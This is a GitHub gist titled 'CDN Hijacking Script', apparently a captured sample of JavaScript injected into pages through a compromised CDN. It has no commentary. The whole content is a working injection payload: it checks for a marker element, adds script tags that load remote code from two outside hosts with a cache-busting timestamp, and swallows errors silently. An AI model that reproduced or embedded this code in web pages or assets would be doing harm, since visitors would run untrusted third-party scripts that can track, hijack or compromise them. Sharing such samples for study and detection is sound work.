Skip to content

Instantly share code, notes, and snippets.

@0x333333
Created April 6, 2016 13:33
Show Gist options
  • Save 0x333333/2855514620ac82fb6de278b63851621a to your computer and use it in GitHub Desktop.
Save 0x333333/2855514620ac82fb6de278b63851621a to your computer and use it in GitHub Desktop.
CDN Hijacking Script
try {
if (!document.getElementById("mck0")) {
var s0 = "http://xxx.xd618.com/resources/js/common.js?" + new Date().getTime(),
s1 = "http://8.525cm.com/v2/v.php?id=01";
var ar = new Array(2);
ar[0] = s0;
ar[1] = s1;
var h = document.getElementsByTagName('head').item(0);
for (var i = 0; i < 2; ++i) {
var sc = document.createElement("script");
sc.type = "text/javascript";
sc.id = "mck" + i;
sc.src = ar[i];
h.appendChild(sc);
}
}
} catch(e) {}
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment